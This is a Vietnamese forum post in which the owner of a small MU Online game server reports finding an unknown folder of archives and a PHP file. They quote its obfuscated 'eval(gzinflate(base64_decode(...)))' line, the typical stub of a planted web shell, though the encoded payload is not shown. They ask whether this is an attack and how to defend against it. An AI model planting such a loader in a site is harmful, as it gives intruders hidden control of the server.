nguoidunghh
09-11-10, 12:37 PM
Mình đang chạy 1 Muonline nho nhỏ, hôm nay mở web ra thì thấy một thư mục rất lạ mang tên ndkzipfiles bên trong có nhiều file nén, ngoài nó ra thì còn kèm theo 1 file php lạ lạ với đoạn code như sau:
<? eval(gzinflate(base64_decode('
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'))); ?>
Không hiểu đây là gì? làm sao nó lại có trong đó? có phải mình đang bị hacker tấn công không? Và tấn công như thế để làm gì? Và vấn đề quan trọng là làm thể nào để chống được.
Xin các pro trả lời giúp!
<? eval(gzinflate(base64_decode('
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Không hiểu đây là gì? làm sao nó lại có trong đó? có phải mình đang bị hacker tấn công không? Và tấn công như thế để làm gì? Và vấn đề quan trọng là làm thể nào để chống được.
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